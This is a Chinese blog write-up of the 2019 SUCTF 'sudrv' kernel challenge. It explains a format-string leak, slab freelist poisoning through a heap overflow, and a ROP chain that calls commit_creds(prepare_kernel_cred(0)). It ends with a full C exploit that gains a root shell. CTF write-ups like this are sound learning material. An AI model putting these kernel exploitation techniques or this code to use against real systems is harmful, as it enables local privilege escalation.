2019-SUCTF-kernel-sudrv

0x00 前言

这是2019 SUCTF的kernel题,拿过来回味一下。检测知识点格式化字符串和heap overflow
题目链接
提取码:wqhv

0x01 查看文件

开启了地址随机化和smep,canry没有开启。

0x02 IDA分析

kernel有的问题需要从汇编层面看才可以找到漏洞: 格式化字符串漏洞:cs:su_buf是我们传入的字符串放入的heap地址,紧接着调用sudrv_ioctl_cold_2函数中的printf函数: printf(heap_addr) 那么就是格式化字符串漏洞。

heap overflow:对传入的字符串没有检查直接拷贝到heap会造成overflow,那么根据kernel heap管理策略我们可以去覆盖后面chunk的fd为stack,就可以控制stack内存。

0x03 思路

格式化字符串用来leak stack地址和kernel地址。stack地址是为了后面heap overflow控制stack中ret内存,kernel地址是为了绕过kalsr。

后面的heap overflow就可以改fd为stack中的ret地址来控制stack内存,进行rop。绕过smep用户态执行commit_creds(prepare_kernel_cred(0)),用户态直接system(“/bin/sh”)即可。

这里注意一点:内核中格式化字符串的利用和glibc有区别,要通过%llx打印,%p有错误。

0x04 调试

由于之前没有做过kernel heap overflow的题目,为了加强印象,在这里完整的做一个调试过程,看看kernel的heap是个什么样子:

覆盖fd:

1.执行完这句

内存:rax是freelist,这次malloc 0x.....2b8000下一个就malloc 0x.....2bc000

2.执行到printk的时候

发现0x2b8000内存已经被分配

3.进一步测试:多次分配

第一次执行:
第二次执行:
看看“aaaaaaaa”字符串在哪儿:
通过测试我们明白了,heap overflow通过覆盖freelist的下一个fd来达到任意地址分配。

为什么最后需要再写入heap三次:

这是最后修改了fd后想劫持heap地址到stack上时,第一次分配heap的情况:我们看到freelist最后的地址时栈地址,然而需要再分配两次才能分配到stack地址。所以我们在最后需要再分配两次heap。

在这里提一下kernel的分配策略,分配的时候通过一个类似fastbin的链来进行分配:

1.这个链中的heap地址可能连续可能不连续。如果不连续那么我们的改fd就会失败,例如abc是三个连续的chunk地址,但是由于在链中a->c->b,那么我们通过a去溢出改的fd是b指向的chunk地址,这样的话就会会成为a->c->b->victim,之前的分配策略肯定就不满足

2.还有个问题就是,也许第一次分配0x100 chunk的时候是a链来分配,再分配一次的时候就可能是另外一条链,也许是因为其他一些机制或者运行过程中内核消耗了a链的chunk导致的,目前还不太清楚原因。

3.kernel 的这条链类似fastbin,后入先出,分配的时候检查不了size,原理就得了解kernel堆的管理策略了,在这里就不展开了

0x05 异常情况

本来想改cr4来绕过smep的,但是修改完cr4后跳转执行用户态代码会导致直接报错,目前也不太清楚为什么。有大佬成功或者知道原因请指导下俺。

影响成功率的不只是需要连续地址的chunk,还有一点就是执行后面rop的时候偶尔会导致segment fault。这个题由于这两个原因耗了大半天。

上张截图纪念一下吧:

0x06 exp

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>
uint64_t commit_creds = 0xffffffff81081410;
uint64_t prepare_kernel_cred = 0xffffffff81081790;
uint64_t pop_rsi_ret = 0xffffffff81001fbd;
uint64_t mov_cr4_rdi_pop_rbp_ret = 0xffffffff81020300;
uint64_t mov_cr4_rax_ret = 0xffffffff81038dc6;
uint64_t pop_rdx_ret = 0xffffffff810aebb2;
uint64_t call_rdx = 0xffffffff821de6b9;
uint64_t pop_rax_ret = 0xffffffff8101ac0c;
uint64_t mov_rdi_rax_call_rdx = 0xffffffff810aa626;
uint64_t swapgs_pop_rbp_ret = 0xffffffff81070834;
uint64_t user_cs, user_ss, user_eflags, user_sp;
uint64_t u64(char * s){
    uint64_t result = 0;
    for (int i = 7 ; i >=0 ;i--){
        result = (result << 8) | (0x00000000000000ff&s[i]);
    }
    return result;
}
void save_status() {
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3\n"
        "pushfq\n"
        "popq %2\n"
        :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
         :
         : "memory"
     );
}

void launch_shell(){
    execl("/bin/sh","sh",NULL);
}

void create(int fd,int size){
    ioctl(fd,0x73311337,size);
    puts("[+] create success!");
}

void delete(int fd){
    ioctl(fd,0x13377331);
    puts("[+] delete success!");
}

void show(int fd){
    ioctl(fd,0xdeadbeef);
    puts("[+] show success!");
}

int main(){
    save_status();
    signal(SIGSEGV,launch_shell);
    uint64_t kernel_base = 0xffffffff81000000;
    uint64_t stack = 0;
    uint64_t kernel = 0;
    char overflow[0x300];
    uint64_t offset = 0;
    uint64_t static_kernel_addr = 0xffffffff811c827f;
    memset(overflow,"\x00",0x300);
    int fd = open("/dev/meizijiutql",1);
    create(fd,0x100);
    write(fd,"%llx %llx %llx %llx %llx kernel:0x%llx %llx %llx %llx stack:0x%llx %llx %llx %llx %llx %llx\n",0x50);
    // getchar();
    show(fd);
    show(fd);
    puts("please input stack and kernel address");
    show(fd);
    scanf("%lx %lx",&stack,&kernel);
    stack = stack - 0x88;
    offset = kernel - static_kernel_addr;
    // *((size_t *)overflow+0xf0/8) = 0x800000;
    // *((size_t *)overflow+0xf8/8) = 0xffffffffffffffff;
    *((size_t *)overflow+0x100/8) = stack;
    create(fd,0x100);
    write(fd,overflow,0x110);
    create(fd,0x100);
    create(fd,0x100);
    *((size_t*)overflow+0) = offset+0xffffffff81001388;// pop rdi;ret;
    *((size_t*)overflow+0x8/8) = 0;
    *((size_t*)overflow+0x10/8) = offset+prepare_kernel_cred; // prepare_kernel_cred
    *((size_t*)overflow+0x18/8) = 0xffffffff819e2959+offset;// mov rdi rax; mov qword ptr [rdi],1;ret
    *((size_t*)overflow+0x20/8) = offset+commit_creds; // commit_creds
    *((size_t*)overflow+0x28/8) = 0xffffffff81001388+offset; // pop rdi ret
    *((size_t*)overflow+0x30/8) = 0x6f0;
    *((size_t*)overflow+0x38/8) = 0xffffffff8104e5b1+offset;//mov cr4 rdi;push rdx; popfq ret close smep(useless)
    *((size_t*)overflow+0x40/8) = 0xffffffff810674ff+offset;// pop rcx. set rcx = 0
    *((size_t*)overflow+0x48/8) = 0;
    *((size_t*)overflow+0x50/8) = 0xffffffff81a000e1+offset;// pop r15; pop r14; pop r13; pop r12; pop rbp; pop rbx; pop rsi; pop r10; pop r9;pop r8; pop rax; pop rsi;pop rdx;pop rsi swapgs;sysret
    *((size_t*)overflow+0x58/8) = 0; // r15
    *((size_t*)overflow+0x60/8) = 1; // r14
    *((size_t*)overflow+0x68/8) = user_sp; // r13
    *((size_t*)overflow+0x70/8) = 0x401c60;// r12
    *((size_t*)overflow+0x78/8) = user_sp; // rbp
    *((size_t*)overflow+0x80/8) = 0x400418;// rbx
    *((size_t*)overflow+0x88/8) = user_eflags;// rsi
    *((size_t*)overflow+0x90/8) = launch_shell;// r10
    *((size_t*)overflow+0x98/8) = 0x6d7f98;// r9
    *((size_t*)overflow+0xa0/8) = launch_shell;// r8
    *((size_t*)overflow+0xa8/8) = launch_shell;// rax
    *((size_t*)overflow+0xb0/8) = 0x100; //  rsi
    *((size_t*)overflow+0xb8/8) = 0x73311337;// rdx
    *((size_t*)overflow+0xc0/8) = 1;         // rsi
    *((size_t*)overflow+0xc8/8) = user_sp;
    *((size_t*)overflow+0xd0/8) = 7;
    *((size_t*)overflow+0xd8/8) = launch_shell;
    *((size_t*)overflow+0xe0/8) = user_cs;
    *((size_t*)overflow+0xe8/8) = user_eflags;
    *((size_t*)overflow+0xf0/8) = user_sp;
    *((size_t*)overflow+0xf8/8) = user_ss;

    write(fd,overflow,0x100);
    // show(fd);FFFFFFFFC0000000'
    //0xffffc9000014bed8 0xffffffff811c827f 
    return 0;
}

  Reprint policy: xiaoxin 2019-SUCTF-kernel-sudrv

 Previous
个人感悟及经历 个人感悟及经历
截至7.29号总算把个人博客网站完善了,会更新一些自己的研究内容,包括但不限于开发、CTF比赛、漏洞调试,希望可以坚持写下去,在这里留下自己的一些东西。
2020-07-29
Next 
2019-xman-kernel-level2 2019-xman-kernel-level2
0.前言这道题是2019 xman冬令营中kernel课程的level2,今天整理下之前的write’sUp,水一篇,讲师要求不外放题目,所以这里就不放出题目了,题目也很简单。 1.查看文件 看到驱动文件canary保护开启 以root权
  TOC